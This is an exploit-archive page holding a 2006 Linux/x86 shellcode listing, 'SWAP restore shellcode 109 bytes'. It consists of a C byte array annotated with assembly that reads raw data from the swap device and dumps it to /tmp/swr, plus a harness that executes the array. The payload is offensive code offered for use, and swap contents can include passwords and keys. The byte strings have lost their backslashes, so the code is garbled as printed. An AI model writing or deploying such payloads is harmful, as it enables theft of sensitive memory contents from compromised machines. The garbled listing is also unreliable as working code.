[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 SWAP restore shellcode 109 bytes
# Published : 2006-04-16
# Author : Gotfault Security
# Previous Title : linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes
# Next Title : linux/x86 SWAP store shellcode 99 bytes


/*
 * linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86
 * Copyright (c) 2006 Gotfault Security & rfdslabs
 *
 * Authors:
 *
 *      dx      <xgc@gotfault.net>
 *      spud    <gustavo@rfdslabs.com.br>
 *
 * This shellcode reads the swap device at offset 31337. After it searchs by
 * NULL byte, it stops and write the readed content to '/tmp/swr' file.
 * Probaly you needs to change the device path name in open() device syscall.
 *
 */

char shellcode[] =

  /* open(device, O_RDONLY) */

  "x6ax05"                    // push   $0x5
  "x58"                        // pop    %eax
  "x99"                        // cltd   
  "x52"                        // push   %edx
  "x68x73x64x61x31"        // push   $0x31616473
  "x68x64x65x76x2f"        // push   $0x2f766564
  "x66x68x2fx2f"            // pushw  $0x2f2f
  "x89xe3"                    // mov    %esp,%ebx
  "x52"                        // push   %edx
  "x59"                        // pop    %ecx
  "xcdx80"                    // int    $0x80

  "x93"                        // xchg   %eax,%ebx

  /* lseek(fd_device, 31337, SEEK_SET) */

  "x31xc9"                    // xor    %ecx,%ecx
  "x6ax13"                    // push   $0x13
  "x58"                        // pop    %eax
  "x66xb9x69x7a"            // mov    $0x7a69,%cx
  "xcdx80"                    // int    $0x80

  /* read(fd_device, *buf, 1025) */

  "x89xe1"                    // mov    %esp,%ecx
  "x42"                        // inc    %edx
  "xc1xe2x0a"                // shl    $0xa,%edx
  "x42"                        // inc    %edx
  "x6ax03"                    // push   $0x3
  "x58"                        // pop    %eax
  "xcdx80"                    // int    $0x80

  "x89xe6"                    // mov    %esp,%esi
  "x99"                        // cltd   
  "x31xff"                    // xor    %edi,%edi

  /* counter loop - read each byte and searchs by 0x0. */

  "xac"                        // lods   %ds
  "x38xd0"                    // cmp    %dl,%al
  "x74x04"                    // je     80480b3 <close_device>
  "x47"                        // inc    %edi
  "xebxf8"                    // jmp    80480aa <counter>

  "x91"                        // xchg   %eax,%ecx

  /* close(fd_device) */

  "x6ax06"                    // push   $0x6
  "x58"                        // pop    %eax
  "xcdx80"                    // int    $0x80
  "x89xe6"                    // mov    %esp,%esi

  /* open("/tmp/swr", O_CREAT|O_APPEND|O_WRONLY) */

  "x66xb9x41x04"            // mov    $0x441,%cx
  "x52"                        // push   %edx
  "x68x2fx73x77x72"        // push   $0x7277732f
  "x68x2fx74x6dx70"        // push   $0x706d742f
  "x89xe3"                    // mov    %esp,%ebx
  "xb0x05"                    // mov    $0x5,%al
  "xcdx80"                    // int    $0x80

  "x93"                        // xchg   %eax,%ebx

  /* write(fd_filename, *buf, sizeof(buffer)) */

  "x6ax04"                    // push   $0x4
  "x58"                        // pop    %eax
  "x56"                        // push   %esi
  "x59"                        // pop    %ecx
  "x89xfa"                    // mov    %edi,%edx
  "xcdx80"                    // int    $0x80

  /* close(fd_filename) */

  "xb0x06"                    // mov    $0x6,%al
  "xcdx80"                    // int    $0x80

  /* exit(anything) */

  "xb0x01"                    // mov    $0x1,%al
  "xcdx80"                    // int    $0x80
;

int main() {
 
        int (*f)() = (int(*)())shellcode;
        printf("Length: %un", strlen(shellcode));
        f();
}

// www.Syue.com [2006-04-16]